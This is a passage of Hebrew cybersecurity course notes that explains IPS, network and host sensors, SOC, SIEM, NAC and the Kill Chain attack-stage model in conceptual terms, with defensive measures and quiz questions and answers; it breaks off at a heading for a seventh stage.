• 4. מהן כמה פעולות ש-IPS יכול לבצע כדי למנוע התקפות?

• 5. איך תוכל להבטיח שה-IPS שלך פועל בצורה אופטימלית?

• תשובות:

- 1. IDS מזהה ומתריע על התקפות, אך אינו מבצע פעולה אוטומטית למנוע אותן. IPS גם מזהה התקפות, אך בנוסף מבצע פעולה אוטומטית כדי למנוע את ההתקפות.
- 2. IPS מבצע פעולות כמו חסימת כתובת IP, חסימת פורטים, או סגירת חיבורי רשת כדי למנוע את ההתקפות ולמזער נזק אפשרי.
- 3. חומת אש חוסמת תעבורה לא רצויה לפי חוקים שנקבעו מראש. IPS מספק שכבת אבטחה נוספת על ידי זיהוי ומניעת התקפות בזמן אמת, כולל התקפות שיכולות לעבור את חומת האש.
- 4. חסימת כתובת IP חשודה, חסימת פורטים, סגירת חיבורי רשת, או הפסקת שירותים מסוימים.
- 5. יש לעדכן את ה-IPS בתדירות גבוהה כדי לכלול תבניות חדשות של התקפות, לנטר את היומנים כדי לזהות בעיות או שגיאות, ולהתאים את ההגדרות לצרכים הספציפיים של הרשת שלך.
- שאלות מעבר למצופה:
- 1. מה היתרונות והחסרונות של שילוב חומת אש עם IDS ו-IPS ברשת אחת?
- 2. באיזה מקרים IDS יכול להפיק התראות שווה ואיך ניתן למזער זאת?
- 3. איך חומת אש, IDS ו-IPS יכולים לשתף פעולה במקרה של התקפת DDoS?
- המשך תשובות מעבר למצופה:
- 2. IDS יכול להפיק התראות שווה כאשר הוא מזהה פעילות לגיטימית כפעילות חשודה בגלל חוקים לא נכונים או תבניות לא מעודכנות. ניתן למזער התראות שווה על ידי עדכון תדיר של חוקים ותבניות התקפות, התאמת החוקים לצרכים הספציפיים של הרשת, והפעלת ניתוח התנהגותי שמאפשר זיהוי מדויק יותר של פעילות חשודה.
- 3. חומת אש יכולה לחסום תעבורה לא רצויה ולהגביל את מספר החיבורים מהמקור החשוד. IDS יכול לזהות פעילות חריגה בנוגע לתעבורה שנכנסת ולא מורשית. IPS יכול להגיב בצורה אוטומטית על ידי חסימת כתובת IP חשודה והגבלת תעבורה מכתובות מסוימות כדי למנוע את ההתקפה. השילוב בין המערכות מאפשר תגובה מהירה ויעילה יותר להתקפות DDoS.

סנסורים

- סנסורים
- פתיחה לחכמה: סנסורים הם התקנים או תוכנות המיועדים לאסוף מידע מרשת מחשבים או מערכת מחשב לצורך ניתוח, ניטור וזיהוי איומים או פעילות חשודה. השימוש בסנסורים הוא חלק בלתי נפרד ממערכות אבטחת מידע כמו IDS ו-IPS, ומטרתו לזהות ולמנוע התקפות פוטנציאליות.
- ישנם 2 סוגי סנסורים:
- סנסורים מבוססי רשת: Network-based Sensors ממוקמים בנקודות מפתח ברשת ומנטרים את כל התעבורה הנכנסת והיוצאת. בנוסף הם מזהים התקפות על ידי ניתוח התעבורה שעוברת בנקודות אלו.
- סנסורים מבוססי מארח: Host-based Sensors מותקנים על מחשבים או שרתים ספציפיים ומנטרים את הפעילות המקומית. בנוסף הם גם מזהים התקפות על ידי ניתוח פעילות חשודה במחשב או בשרת בו הם מותקנים.
- המשך – סנסורים:
- סנסורים מבוססי רשת Network-based Sensors

- הגדרה: סנסורים מבוססי רשת הם התקנים או תוכנות המיועדים לנטר את כל התעבורה העוברת ברשת מסוימת. הם ממוקמים בנקודות מפתח ברשת כמו נתבים, שערים gateways ומתגים switches
- איך זה עובד:
- איסוף נתונים:
- הסנסור מבוסס הרשת מקבל ומנטר את כל המידע העוברת בנקודת המפתח ברשת.
- הוא אוסף נתונים כמו כתובות IP פורטים, פרוטוקולים, ותוכן התעבורה.
- ניתוח נתונים:
- הסנסור משווה את התעבורה לתבניות התקפות ידועות ולחוקים שנקבעו מראש.
- הוא מזהה דפוסים חשודים כמו ניסיונות סריקת פורטים, תעבורה חריגה או התקפות מניעת שירות DoS
- זיהוי והתרעה:
- במקרה של זיהוי פעילות חשודה, הסנסור שולח התרעה למערכת הניטור או למנהל המערכת.
- התרעה יכולה לכלול מידע כמו כתובת IP חשודה, פורט, וסוג ההתקפה.
- יתרונות:
- מנטר את כל התעבורה העוברת ברשת, מה שמאפשר זיהוי של התקפות על כל המערכות המחוברות לרשת.
- אינו תלוי במערכת ההפעלה של מחשבים מסוימים ברשת.
- חסרונות:
- עלול להחמיץ התקפות שמתרחשות בתוך תחנות קצה שלא מעבירות את התעבורה דרך הסנסור.
- דורש משאבים רבים לניתוח תעבורה ברשתות גדולות ומורכבות.
- דוגמה:
- סנסור הממוקם בנתב האינטרנט של ארגון ומנטר את כל התעבורה הנכנסת והיוצאת מהארגון, כולל זיהוי ניסיונות פריצה או התקפות מניעת שירות.
- סנסורים מבוססי מארח Host-based Sensors
- הגדרה: סנסורים מבוססי מארח הם תוכנות המותקנות ישירות על מחשבים או שרתים, ומנטרים את הפעילות המקומית על אותם מחשבים או שרתים.
- הסנסור אוסף מידע מפעילות המחשב או השרת עליו הוא מותקן.
- כולל יומני מערכת log files פעולות משתמשים, גישת קבצים, והרצת תהליכים.
- הסנסור מנתח את המידע המקומי ומשווה אותו לתבניות התקפות ידועות או לחוקים שנקבעו מראש.
- מזהה פעולות חשודות כמו ניסיונות התחברות לא חוקיים, שינויים בקבצים חשופים, או התקנות תוכנות לא מורשות.
- התרעה יכולה לכלול מידע כמו תהליך חשוד, שינוי בקובץ מערכת, או ניסיון התחברות כושל.

- מנטר את הפעילות המקומית על המחשב או השרת, ומסוגל לזהות התקפות שלא ניתנות לזיהוי ברמת הרשת.
- מספק מידע מפורט על הפעילות במערכת, כולל יומני מערכת ופעולות משתמשים.
- דורש התקנה ותחזוקה על כל מחשב או שרת בנפרד.
- עלול להעמיס על ביצועי המחשב או השרת בו הוא מותקן.

- סנסור המותקן על שרת מסד נתונים שמנטר את כל הפעולות על השרת, כולל גישה לקבצים, שינויים במסד נתונים, וניסיונות התחברות לא חוקיים.

- דוגמאות לשימוש בסנסורים

- 1. סנסור מבוסס רשת: מותקן בכניסה לרשת ארגונית, מנטר את כל התעבורה הנכנסת ומזהה התקפות כמו סריקות פורטים, ניסיונות פריצה, או התקפות מניעת שירות DoS
- 2. סנסור מבוסס מארח: מותקן על שרת מרכזי בארגון, מנטר את כל הפעולות על השרת ומזהה פעולות חשודות כמו שינויים בקבצים חשובים, התקנת תוכנות לא מורשות, או ניסיונות התחברות כושלים רבים.
- דוגמא א: נניח שאתה מנהל אבטחת מידע בארגון גדול. התקנת סנסור מבוסס רשת בכניסה לרשת הארגונית. יום אחד, הסנסור מזהה כמות גדולה של ניסיונות התחברות לשרתים הפנימיים של הארגון. הסנסור שולח התרעה מידית, ואתה מגלה שמדובר בניסיון פריצה מאורגן. בזכות הסנסור, הצלחת לנקוט בצעדים מידיים לחסום את התוקפים ולמנוע נזק.
- דוגמא ב: בארגון שלך מותקן סנסור מבוסס מארח על שרת המסד נתונים. הסנסור מזהה שינויים בלתי מורשים בקבצי המסד נתונים ומתריע על כך. אתה בודק ומגלה שמישהו ניסה לשנות את הנתונים בצורה לא חוקית. אתה מצליח לנקוט בפעולות הנדרשות לשחזור הנתונים ולמנוע המשך הפעילות החשודה.

• שאלות:

- 1. מה ההבדל בין סנסור מבוסס רשת לסנסור מבוסס מארח?
- 2. כיצד סנסור מבוסס רשת מזהה התקפות סריקת פורטים?
- 3. מה יתרונות השימוש בסנסורים מבוססי מארח?
- 4. כיצד ניתן למזער התראות שווא בסנסורים?

• תשובות:

- 1. סנסור מבוסס רשת מנטר את כל התעבורה הנכנסת והיוצאת ברשת, בעוד שסנסור מבוסס מארח מנטר את הפעילות המקומית על מחשב או שרת ספציפי.
- 2. הסנסור מנתח את התעבורה הנכנסת ומחפש דפוסים של ניסיונות התחברות לפורטים רבים בזמן קצר. אם הוא מזהה דפוס כזה, הוא שולח התרעה על התקפת סריקת פורטים.
- 3. סנסורים מבוססי מארח מאפשרים ניטור מדויק של הפעילות על מחשבים ושרתים ספציפיים, כולל זיהוי שינויים בקבצים חשובים, התקנת תוכנות לא מורשות, וניסיונות התחברות כושלים.
- 4. ניתן למזער התראות שווא על ידי עדכון תדיר של תבניות התקפות וחוקים, התאמת החוקים לצרכים הספציפיים של הרשת או המחשב, והפעלת ניתוח התנהגותי לזיהוי מדויק יותר של פעילות חשודה.

SOC & SIEM

SOC & SIEM •

• פתיחה לחכמה:

- SOC[מרכז תפעול אבטחת מידע] ו-SIEM [ניהול מידע ואירועי אבטחה] הם חלקים חשובים ומקיפים של תשתית אבטחת מידע בארגון. SOC מתמקד בניהול וניטור בזמן אמת, בעוד ש-SIEM מספקת את הכלים והטכנולוגיות לנתח נתונים ולהגיב לאיומים.

SOC

SOC •

• מהו SOC:

- SOC הוא מרכז שמרכז את כל פעולות האבטחה בארגון, כולל ניטור מתמשך, ניתוח תגובות לאירועים, ותגובה בזמן אמת.

• איך זה עובד:

• 1. ניטור רציף:

- SOC פועל 24/7 עם צוותים המנטרים את הרשתות והמערכות.

- כל פעילות חשודה נבחנת ונעשות בדיקות כדי לזהות התקפות או איומים.

• 2. תגובה לאירועים:

- כשה-SOC מזהה פעילות חריגה, הצוות מבצע חקירה כדי להבין את האיומים.

- פעולות התגובה עשויות לכלול חסימת גישה, חקירת ההתקפה, או תיקון בעיות במערכות.

• 3. תיאום ותקשורת:

- SOC מתקשר עם צוותי IT ועם ספקי שירותי אבטחה חיצוניים כדי לתאם את הפעולות הנדרשות.

- כמו כן SOC עוקב אחרי ההתפתחויות בתחום האיומים ומשתף מידע עם הצוותים הרלוונטיים.

• המשך - SOC

- לדוגמא: בארגון פיננסי גדול SOC זיהה פעילות חריגה ברשת שכוללת ניסיונות התחברות רבים מאותו IP הצוות הפעיל חקירה וגילה שמדובר בניסיון התקפת brute force לכניסה למערכת קריטית. הם חסמו את ה-IP החשוד, ביצעו ניתוח של ההתקפה, והוציאו לקחים לשיפור המערכת.

• יתרונות:

- הגנה בזמן אמת מפני איומים והתקפות.

- תיאום ותגובה מהירה לתקלות ולניסיונות פריצה.

• חסרונות:

- דורש צוות מקצועי ומיומן שעובד בצורה אינטנסיבית.

- ייתכן ועלות גבוהה להקמה ותחזוקה של SOC

• רכיבי SOC

• צוותים וסניפים:

• צוות ניטור: אחראי על ניטור רציף של התעבורה והאירועים ברשת, כולל טיפול בהתראות הראשוניות.

• צוות תגובה לאירועים: מתמחה בניהול ותיאום התגובות לאירועים, מבצע חקירות ומטפל בתקלות.

• צוות ניתוח איומים: עוסק בחקר איומים ופרצות אבטחה, ניתוח תוקפים, ומציאת דרכים למניעת התקפות עתידיות.

• צוות ייעוץ ומחקר: עוקב אחרי טרנדים חדשים בתחום האבטחה, ומספק ייעוץ לתכנון אסטרטגיות אבטחה.

• תשתיות טכנולוגיות:

• מערכות ניטור: כוללות כלים כמו מערכות SIEM IDS/IPS חומות אש, וכלים לניהול יומני מערכת.

• כלי ניתוח: משמשים לניתוח נתונים ותגובה לאירועים, כגון ניתוח התנהגותי והבנה של תבניות התקפה.

• מערכות תגובה אוטומטיות: כוללות יכולות אוטומטיות לחסימת גישה או פעולות אחרות בזמן אמת בהתאם להתראות.

• תהליכים ונהלים ב-SOC

• תהליך ניהול אירועים:

• זיהוי: סינון ומיון ההתראות שמתקבלות מהמגוון הרחב של מקורות.

• חקירה: ניתוח מעמיק של האירועים החשודים, כולל איסוף מידע נוסף וביצוע חקירות.

• תגובה: ביצוע פעולות תגובה מתואמות כדי לטפל באירועים, כולל חסימת התקשרות או תיקון בעיות במערכת.

• התאוששות: החזרת המערכת למצב תקין ומעקב אחר ההתפתחויות כדי לוודא שהבעיה נפתרה.

• תהליך שיפור מתמיד:

• ביצוע ניתוחים לאחר התקפות: ניתוח פרטי התקפות שנעשו, איתור נקודות חולשה, והפקת לקחים.

• עדכון נהלים וכלים: התאמת נהלים וכלים לאור המידע שנאסף, והטמעת שיפורים בהתמודדות עם איומים.

• הכלים והטכנולוגיות שמשתמשים ב-SOC

• כלי ניטור:

• SIEM מרכז את המידע ויוצר התראות בהתבסס על ניתוח נתונים.

• IDS/IPS מזהה ומונע התקפות על הרשתות.

• NTA (Network Traffic Analysis) ניתוח תעבורה לרשת כדי לזהות דפוסים חשודים.

• כלי ניתוח ותגובה:

• SOAR (Security Orchestration, Automation, and Response) אוטומט את תהליכי התגובה ומייעל את התגובה לאירועים.

• EDR (Endpoint Detection and Response) מספקת ניתוח מתקדם של פעילות מחשבים ומכשירים.

SIEM

• SIEM

• מהו SIEM:

• SIEM היא מערכת המספקת יכולות ניהול נתונים ואירועים על מנת לנתח ולזהות איומים על בסיס נתונים שמגיעים ממקורות שונים.

• איך זה עובד:

• 1. איסוף נתונים:

• SIEM אוספת נתונים מיומני מערכת, חומות אש, סנסורים, ומערכות IDS/IPS

• הנתונים נאספים ממספר מקורות כדי לספק תמונה מלאה של פעילות הארגון.

• 2. ניתוח מידע:

• SIEM מנתחת את הנתונים על פי תבניות של התקפות ידועות ודפוסים חשודים.

• המערכת משתמשת באלגוריתמים מתקדמים כדי לגלות התנהגויות חריגות ולא רגילות.

• 3. התראות ודיווח:

• SIEM מפיקה התראות על פעילות חשודה ומספקת מידע למנהלי אבטחה כדי לבצע תגובה מהירה.

• המערכת גם יוצרת דוחות מסודרים על פעילות ותגובות למתקפות.

• המשך - SIEM

• לדוגמא:

• ארגון טכנולוגי בינלאומי SIEM זיהתה שינוי לא רגיל בגישת קבצים רגישים בזמן שמחשב עבד על עדכון תוכנה. ההתראה אפשרה לצוות SOC לחקור ולהבין שמדובר בהתקפה פנימית שמבוצעת על ידי עובד לשעבר שהצליח לגשת למידע חסוי. הצוות חסם את הגישה, החליף סיסמאות, וביצע חקירה נוספת כדי למנוע מקרים דומים בעתיד.

• יתרונות:

• מאפשר ניהול וניתוח של כמות גדולה של נתונים ממקורות שונים.

• מספק התראות בזמן אמת ומסייע בזיהוי איומים לפני התפשטותם.

• חסרונות:

• עלולה להיות מורכבת להתקנה ולתחזוקה.

• דורשת משאבים רבים לניתוח ולתפעול המידע הנאסף.

• רכיבי SIEM

• אספקת נתונים:

• מקורות נתונים: SIEM אוספת נתונים ממקורות רבים כגון יומני מערכת, מערכות IDS/IPS, חומות אש, אנטי-וירוס, ועוד. הנתונים כוללים פרטי תעבורה, גישות למערכות, ושינויים בקבצים.

- איסוף נתונים: מתבצע באמצעות סוכנים המותקנים על מחשבים ושרתים, או באמצעות קישוריות ישירה למקורות נתונים.
- ניתוח:
- תבניות התקפה: SIEM משתמשת בתבניות של התקפות מוכרות ובאלגוריתמים מתקדמים כדי לגלות פעילויות חריגות.
- ניתוח התנהגותי: מערכות SIEM יכולות לנתח את ההתנהגות של משתמשים או מכשירים ולזהות דפוסים חריגים שמצביעים על התקפות אפשריות.
- התראות ודיווח:
- התראות בזמן אמת: SIEM מפיקה התראות על פעילויות חשודות ומספקת מידע מיידי לצוותי האבטחה.
- דוחות: המערכת יוצרת דוחות מסודרים שמספקים סקירה של התראות ואירועים, עוזרת לנתח את האירועים ומבצעת חקירות.
- תהליכים ונהלים ב-SIEM
- תהליך ניהול התראות:
- 1. סינון התראות: SIEM מסנן התראות כדי למנוע העמסה על הצוות ולהתמקד באיומים קריטיים.
- 2. מיון וחקירה: התראות נבדקות וממוינות לפי רמת הסיכון, והצוות מבצע חקירה מעמיקה כאשר יש צורך.
- 3. תגובה ותחזוקה: בהתאם לחקירה, הצוות מבצע את הצעדים הנדרשים, ומעדכן את מערכת SIEM לפי הצורך.
- תהליך אופטימיזציה:
- 1. שדרוגים ועדכונים: SIEM מתעדכנת עם כלים וטכנולוגיות חדשות כדי לשפר את יכולות הניתוח והתגובה.
- 2. ניתוח התראות: מתבצע ניתוח לאחר האירועים כדי ליעל את מערכת ההתראות ולמנוע התרעות שווא.
- אתגרים בעבודה עם SIEM
- כמות נתונים:
- בעיות בניהול נתונים מרובים: SIEM עלולה להתמודד עם כמות רבה של נתונים, מה שמקשה על ניתוח ותגובה מהירה.
- פתרון: שימוש בטכנולוגיות כמו AI ו-ML למידת מכונה לניתוח אוטומטי של נתונים ויצירת התראות חכמות.
- תחזוקה ותפעול:
- דרישות תחזוקה: SIEM דורשת תחזוקה מתמדת ועדכונים כדי לשמור על עדכניותה ויכולת התגובה שלה.
- פתרון: תכנון תהליך תחזוקה מסודר כולל עדכונים שוטפים ובדיקות שגרתיות.
- ניהול התראות שווא:
- בעיות בהגדרה: SIEM עלולה לייצר התראות שווא, מה שמקשה על הצוות לזהות איומים אמיתיים.
- פתרון: שיפור הגדרות מערכת והתאמת אלגוריתמים לצורך צמצום התראות שווא.

SIEM -I SOC

• SIEM -I SOC

• שילוב SIEM -I SOC:

• תיאום: SIEM מספקת ל- SOC את המידע וההתראות הנדרשים כדי לנהל את פעולות האבטחה ולנצל את הידע שנאסף מהמערכת.

• תגובה: SOC משתמשת במידע ובתובנות שניתנות על ידי SIEM כדי לנהל את התגובה לאיומים ולהגיב במהירות.

• שיפור מתמיד: SIEM מספקת נתונים וניתוחים שמסייעים ל- SOC לשפר את אסטרטגיות האבטחה ולבצע התאמות על בסיס לקחים מהתקפות קודמות.

• המשך - SIEM -I SOC

• שאלות:

1. מה ההבדל בין SOC ל- SIEM ?

2. איך SIEM עוזרת ל- SOC לנטר איומים?

3. מה תפקיד צוות SOC כאשר מתגלה התקפה על ידי SIEM ?

4. כיצד SIEM יכולה לסייע בשיפור אבטחת המידע בארגון?

NAC ניהול גישת רשת

• NAC ניהול גישת רשת

• מה זה NAC:

• NAC (Network Access Control) הוא טכנולוגיה לניהול ואבטחת הגישה לרשתות מחשבים בארגון. המטרה של NAC היא להבטיח שרק מכשירים ומחשבים מורשים יוכלו לגשת לרשתות ולמשאבים ארגוניים, תוך כדי שמירה על מדיניות האבטחה של הארגון.

NAC

• המשך - NAC

• איך NAC עובד?

• זיהוי והערכה:

• זיהוי מכשירים: NAC מזהה את כל המכשירים שמנסים להתחבר לרשת. זה כולל מחשבים ניידים, טלפונים חכמים, טאבלטים, ושרתים.

• הערכה: המערכת בוחנת את המצב של כל מכשיר כדי לקבוע אם הוא עובר את דרישות האבטחה של הארגון (למשל, אם המחשב מעודכן עם הפאז'ים האחרונים ועם תוכנת אנטי-וירוס פעילה).

• אישור גישה:

• גישה מותנית: על פי ההערכה NAC קובע אם לתת גישה מלאה, גישה מוגבלת, או לחסום את הגישה לחלוטין. לדוגמה, אם מכשיר אינו עומד בדרישות אבטחה, הוא יכול להיות מוגבל לגישה לאזורי רשת מסוימים בלבד.

• הרשאות: NAC מוודאת שהמכשירים המורשים מקבלים את ההרשאות המתאימות בהתאם לרמת הגישה שהוקצתה להם.

• ניטור ותגובה:

• ניטור רציף: NAC עוקבת אחרי המכשירים המרשים, ומבצעת ניטור רציף כדי לוודא שהם עומדים בדרישות האבטחה.

• תגובה לאיומים: אם NAC מזהה בעיה במכשיר (למשל, אנטי-וירוס שהפסיק לפעול), היא יכולה לנקוט בפעולות כמו סילוק המכשיר מהרשת או שליחת התראה לצוות האבטחה.

• דוגמא א': בארגון רפואי NAC זיהתה שמחשב נייד של עובד התחבר לרשת אך התגלתה בו גרסה ישנה של תוכנת אנטי-וירוס. NAC חסמה את גישת המחשב לרשת הפנימית עד שהמחשב עודכן לגרסה החדשה. בכך נמנע פוטנציאל התקפה על מידע רפואי רגיש.

• דוגמא ב': באוניברסיטה NAC השימשה כדי לנהל את גישת הסטודנטים לרשת האוניברסיטה. כאשר סטודנט ניסה להתחבר עם מכשיר חדש NAC בדקה את המכשיר, גילתה שהוא לא מותקן עם תוכנה עדכנית, והגבלה את גישתו לאזורי רשת מוגבלים בלבד עד שהסטודנט עדכן את המכשיר.

• יתרונות NAC

1. הגנה משופרת: מונע מכשירים לא מאובטחים לגשת לרשתות הארגוניות.
2. ניהול גישה: מספק גישה מותנית בהתאם למצב האבטחה של המכשירים.
3. תאימות: מבטיח שהמכשירים עומדים בדרישות האבטחה והמדיניות של הארגון.

• חסרונות NAC

1. מורכבות: ייתכן שדרוש ניהול מורכב ותחזוקה מתמשכת.
2. עלויות: השקעה ראשונית גבוהה ורכישת תוכנה וחומרה.
3. הגבלה של משתמשים: עשוי להגביל גישה למשתמשים במקרה של אי עמידה בדרישות.

• תפקודים נוספים של NAC:

• אימות זהות משתמשים:

1. שילוב עם אוטנטיקציה: NAC לא רק מזהה את המכשירים אלא גם מאמת את זהות המשתמשים.

2. תהליך האימות: כאשר מכשיר מנסה להתחבר לרשת, NAC מבצע אימות של פרטי המשתמש כדי להבטיח גישה רק למורשים.

• ניהול מכשירים ניידים:

1. מכשירים ניידים: NAC מנהלת גם מכשירים ניידים כמו טלפונים חכמים וטאבלטים, ומוודאת שהם עומדים בדרישות האבטחה של הארגון לפני שמאפשרת להם גישה לרשת.

2. קונפיגורציה אוטומטית: NAC יכולה להפעיל קונפיגורציות אוטומטיות או עדכונים במכשירים ניידים כדי לוודא שהם מעודכנים עם הגדרות האבטחה האחרונות.

• אכיפת מדיניות רשת:

- 1. מדיניות אבטחה: NAC אוכפת מדיניות אבטחה קפדנית לרשתות, כולל הגבלות על סוגי התעבורה המותרת וסוגי השירותים שניתן לגשת אליהם.
- 2. שליטה על פרופילים: ניתן להגדיר פרופילים שונים של גישה בהתאם לצורך ולמדיניות הארגונית, כגון גישה מוגבלת למשתמשים זמניים או חיצוניים.
- אינטגרציה עם טכנולוגיות נוספות
- NAC - SIEM:
- תיאום נתונים: NAC שולחת נתונים על גישות והערכות למערכת SIEM לצורך ניתוח ואיחוד מידע. SIEM יכול לעזור ל-NAC להבין הקשרים רחבים יותר של התנהגות המשתמשים והמכשירים.
- תיאום התראות: כאשר SIEM מזהה התראה לגבי פעילות חשודה, NAC יכולה לנקוט בפעולות נוספות כמו בידוד מכשירים או חסימת גישה.
- NAC - SOC:
- מיקוד במצבים דחופים: SOC יכול להשתמש בנתוני NAC כדי לזהות מכשירים חשודים או לא תואמים ולהגיב במהירות למקרים דחופים.
- דיווח: SOC עוקב אחרי התראות ומדווחות שמתקבלות מ-NAC כדי לנהל את התגובות לאיומים בזמן אמת.
- NAC - IDS/IPS:
- תגובה אוטומטית: אם IDS/IPS מזהים פעילות חשודה, NAC יכולה להשתמש במידע כדי להגביל או לחסום את גישת המכשיר שנמצא בעייתי.
- שיתוף נתונים: NAC יכולה לשתף נתונים עם IDS/IPS כדי לעזור באבחון והבנת איומים.
- אתגרים והמלצות
- אתגרים:
- שילוב עם מערכות קיימות: אינטגרציה עם מערכות קיימות כמו SIEM ו-IDS/IPS יכולה להיות מורכבת ודורשת תכנון מקיף.
- תחזוקה: ניהול ועדכון של סוכנים או מדיניות רשת יכולים להיות מאתגרים, במיוחד בסביבות רשת מורכבות.
- המלצות:
- תכנון יסודי: חשוב לתכנן את פריסת NAC ולוודא שהוא משתלב היטב עם יתר טכנולוגיות האבטחה בארגון.
- תחזוקה שוטפת: הקפד על תחזוקה ועדכונים שוטפים כדי להבטיח שהמערכת פועלת בצורה אופטימלית.
- הדרכה: חשוב להדריך את צוותי האבטחה על השימוש ב-NAC ועל איך להפיק את המירב מהמערכת.
- תשובות:
- 1. NAC: שואף לנהל ולהגביל את הגישה לרשתות ארגוניות בהתאם למדיניות אבטחה, ולוודא שרק מכשירים ומחשבים מאושרים מקבלים גישה.
- 2. NAC מבצע אימות של משתמשים באמצעות פרוטוקולי אוטנטיקציה, ועושה שימוש בסוכנים או בפרוטוקולים מבוססי רשת כדי לאמת את מצב המכשירים.

- 3. NAC מבוסס סוכן מספק ניטור מדויק ומעמיק יותר של המכשירים, ויכול לנקוט בפעולות אוטומטיות על פי המדיניות שהוגדרה.
- 4. NAC משתף מידע עם SIEM לצורך ניתוח ותגובה, ומגיב להתראות מ-IDS/IPS על ידי הגבלת גישה למכשירים המחשבים שנראים חשודים.
- 5. אתגרים יכולים לכלול אינטגרציה עם מערכות קיימות, תחזוקה ותחזוקה שוטפת, וניהול מדיניות רשת מורכבת.

Kill Chain - שרשרת התקפה

- Kill Chain - שרשרת התקפה
- מה זה Kill Chain:
- Kill Chain הוא מודל המתאר את שלבי ההתקפה של תוקפים על מערכת או רשת. מטרת המודל היא להבין את כל שלבי ההתקפה, על מנת לפתח אמצעים למניעת התקפות ולמניעתן.
- (המונח Kill Chain שרשרת התקפה) מגיע מהתחום הצבאי, שבו הוא מתאר את השלבים בתהליך של תקיפה על יעד צבאי. בתחום האבטחת מידע, הוא מתאר את התהליך שגורם לתוקף לפרוץ למערכת מחשב.

Kill Chain

- המשך - Kill Chain
- שלבי ה-Kill Chain
- שלב 1: Reconnaissance תכנון
- מה זה? תוקפים אוספים מידע על המטרה שלהם. זה כולל פרטים על הרשת, מערכות המידע, תוכנות בשימוש, ועוד.
- דוגמה: תוקף חוקר אתר אינטרנט של חברה ומבצע חיפושים במידע ציבורי כדי להבין את מבנה המערכת שלה.
- שלב 2: Scanning סריקה
- מה זה? התוקפים משתמשים בכלים לסרוק את הרשת ואת המערכות כדי לזהות חולשות ואיומים.
- דוגמה: תוקף משתמש בסורק פורטים כדי לבדוק אילו פורטים פתוחים במחשב המטרה ואילו שירותים פועלים בהם.
- שלב 3: Gaining Access רווח
- מה זה? התוקפים מבצעים התקפה או ניצול חולשה כדי להשיג גישה לא מורשית למערכת.
- דוגמה: לאחר זיהוי חולשה בתוכנה, התוקף מצליח להיכנס למערכת באמצעות ניצול חולשה זו.
- המשך שלבי ה-Kill Chain :
- שלב 4: Maintaining Access שמירה
- מה זה? התוקפים מוודאים שיש להם גישה מתמשכת למערכת, גם אם חלק מהחולשות תוקנו.
- דוגמה: התוקף מתקין חזרה או כלי שליטה מרחוק במחשב המטרה כדי לשמור על גישתו למערכת.

• שלב 5: פריצה Exfiltration

• מה זה? התוקפים אוספים ומעבירים נתונים רגישים או מידע מהמטרה.

• דוגמה: התוקף גונב מידע אישי של לקוחות ומעביר אותו לשרת חיצוני שברשותו.

• לב 6: הסטה Clearing Tracks

• מה זה? התוקפים מוחקים ראיות או משאירים נתיב טיוול על מנת להסתיר את פעולותיהם.

• דוגמה: התוקף מנקה את יומני המערכת ואת קבצי היומן כדי למנוע גילויים של פעילותו.

• דוגמא א: תוקף החליט להיכנס לרשת של חברה ביטחונית. הוא התחיל בשלב התכנון והאיסוף, שבו אסף מידע על החברה מתוך פרסומים ברשתות חברתיות ומסמכים פומביים. לאחר מכן, השתמש בכלי סריקה לזיהוי חולשות, והצליח לנצל חולשה בשרת ה-WEB של החברה. התוקף התקין תוכנת חזרה כדי לשמור על גישתו, גנב נתונים רגישים על לקוחות, ולבסוף נמחק את כל עקבותיו כדי להימנע מגילוי.

• דוגמא ב: בארגון פיננסי, תוקף ניהל סקר סיסמאות דרך כלים אוטומטיים לסריקת פורטים ושירותים. הוא הצליח לנצל חולשה במערכת הזדהות כדי לקבל גישה לא מורשית לחשבונות. לאחר השגת גישה, התוקף התקין תוכנה שתשמור עליו במערכת, ואחר כך גנב נתונים של עסקאות פיננסיות. לבסוף, הוא השתמש בתוכנה למחוק את כל הראיות כדי למנוע גילוי.

• איך להגן על עצמך מה-Kill Chain?

• איסוף מידע וניהול שוטף:

• פעולות: ניהול נכון של המידע המופיע על הארגון באינטרנט והקטנת החשיפה לפרטים חשובים.

• דוגמה: לבדוק באופן קבוע את המידע הציבורי שמופיע על הארגון ולוודא שאין בו פרטים רגישים.

• סריקות ובדיקות אבטחה:

• פעולות: שימוש בכלים סדירים לסריקת רשתות ולזיהוי חולשות.

• דוגמה: לבצע סריקות רשת חודשיות כדי לגלות ולתקן חולשות.

• חיזוק אמצעי הגישה:

• פעולות: שימוש באמצעים כמו אוטנטיקציה רב-שלבית וחיזוק הסיסמאות.

• דוגמה: להטמיע אוטנטיקציה דו-שלבית לכל החשבונות בארגון.

• תוכניות תגובה ותחזוקה:

• פעולות: פיתוח תוכניות תגובה לאירועים והקפדה על תחזוקה שוטפת של המערכות.

• דוגמה: לעדכן יומני פעילות, לנהל תוכניות לעדכון תוכנה ולהגיב במהירות לאירועים.

• הדרכה ותחזוקה:

• פעולות: הכשרת צוות האבטחה ותחזוקה שוטפת של מערכות האבטחה.

• דוגמה: להעביר סדנאות אבטחה לעובדים ולתעדכן את צוות האבטחה בטכניקות ההתקפה האחרונות.

• שאלות:

- 1. מהו שלב התכנון Reconnaissance ב-Kill Chain וכיצד הוא משפיע על ההתקפה?
- 2. כיצד תוקפים משיגים גישה לא מורשית במערכת?
- 3. מהו שלב ה"שמירה" Maintaining Access וכיצד ניתן למנוע אותו?
- 4. אילו צעדים ניתן לנקוט כדי למנוע את שלב ה"פריצה" Exfiltration ?
- 5. איך ניתן למנוע את שלב ה"סטה" Clearing Tracks על ידי התוקפים?
- תשובות:

- 1. שלב התכנון הוא המקום שבו התוקף אוסף מידע על המטרה כדי להבין את חולשותיה. זה משפיע על ההתקפה בכך שמסייע לתוקף לבחור את שיטת התקיפה המתאימה ביותר.
- 2. הם משתמשים בחולשות מערכת או ניצול פרצות אבטחה כדי להיכנס למערכת, כמו פרצות בתוכנה.
- 3. שלב השמירה הוא כאשר התוקף מבטיח שיש לו גישה מתמשכת למערכת. ניתן למנוע זאת על ידי חיזוק האבטחה והתקנת תוכנות לניהול גישה מבוקר.
- 4. ניתן למנוע את שלב הפריצה על ידי הצפנת נתונים, פיקוח על תעבורה רשתית, וביצוע בדיקות אבטחה קבועות.
- 5. ניתן למנוע זאת על ידי ניטור פעילות ויומנים בצורה רציפה, ויצירת מדיניות לתיעוד ותחזוקת יומני המערכת.

ה-Kill Chain המודרני

- ה-Kill Chain המודרני
- בעשור האחרון, מודל ה-Kill Chain עבר עדכון ושדרוגים כדי לכלול טכניקות חדשות ומתקדמות יותר של תוקפים. הנה הרחבות נוספות לנושא:
- 1. התפתחויות והוספות למודל ה-Kill Chain
- שלב 7: Stage of Command and Control (C2)
